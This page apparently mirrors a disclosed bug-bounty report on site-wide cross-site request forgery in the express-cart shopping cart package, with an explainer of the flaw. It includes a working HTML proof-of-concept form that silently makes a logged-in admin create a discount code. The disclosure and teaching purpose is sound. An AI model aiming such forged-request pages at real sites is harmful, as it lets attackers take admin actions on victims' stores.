Skip to content
CSRF Disclosed report Beginner

[express-cart] Wide CSRF in application

The express-cart application lacks CSRF tokens on admin actions, allowing an attacker to craft a malicious page that performs privileged operations such as creating discount codes when an admin visits it. The attacker could create products, orders, users, and discount codes with admin privileges.

tuo4n8 Follow

Originally disclosed on HackerOne

Medium 5.7 View original
  • Triaged in 6 hours
  • Fixed in 5 months
  • Disclosed after 5 months

NOTE! Thanks for submitting a report! Please replace all the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report!

I would like to report CSRF in ``express-cart` It allows attacker cheat admin to do bad behaviors . Main reason is csrf token isn't used , vulnerability is application wide .

Module

module name: express-cart version: 1.1.16 npm page: https://www.npmjs.com/package/express-cart

Module Description

expressCart is a fully functional shopping cart built in Node.js (Express, MongoDB) with Stripe, PayPal, Authorize.net, Adyen and Instore payments.

Module Stats

[1] weekly downloads : 21

Vulnerability

Vulnerability Description

Description about how the vulnerability was found and how it can be exploited, how it harms package users (data modification/lost, system access, other.

  • Through csrf attacker can do : create product , order , user , create discount codes ,.... (required admin action)

Steps To Reproduce:

Detailed steps to reproduce with all required references/steps/commands. If there is any exploit code or reference to the package source code this is the place where it should be put.

  • Demo create discount codes : (View detail on clip )
  1. Create PoC with HTML (generated by burpsuite)

  2. Admin click

  3. discount code is created

  • PoC :
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:1111/admin/settings/discount/create" method="POST">
      <input type="hidden" name="code" value="CSRF&#45;CODE&#45;DEMO" />
      <input type="hidden" name="type" value="percent" />
      <input type="hidden" name="value" value="30" />
      <input type="hidden" name="start" value="21&#47;02&#47;2020&#32;14&#58;32" />
      <input type="hidden" name="end" value="22&#47;02&#47;2020&#32;14&#58;32" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Wrap up

Select Y or N for the following statements:

  • I contacted the maintainer to let them know: [Y/N] N
  • I opened an issue in the related repository: [Y/N] N

Hunter's comments and funny memes goes here

Impact

attacker can do admin privileges

Attachments

csrf.mp4 From the original on HackerOne

The original report as published on HackerOne, by tuo4n8. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application does not use CSRF tokens to verify that state-changing requests originate from its own pages.

Impact

An attacker could perform admin-level actions such as creating products, orders, users, and discount codes, potentially leading to data modification or unauthorised access.

What the attacker needed

Admin is logged in; admin visits attacker-controlled page

How it was found

  1. Create a malicious HTML page that automatically submits a form to the admin discount creation endpoint.
  2. Trick the logged-in admin into visiting the page.
  3. The discount code is created without the admin's intent.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

CSRF (Cross-Site Request Forgery) is when a malicious website tricks a logged-in user's browser into sending a request to another site where the user is authenticated. Because the application does not check for a secret token, the attacker can make the admin perform actions like creating a discount code without their knowledge.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by tuo4n8

View all

2 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.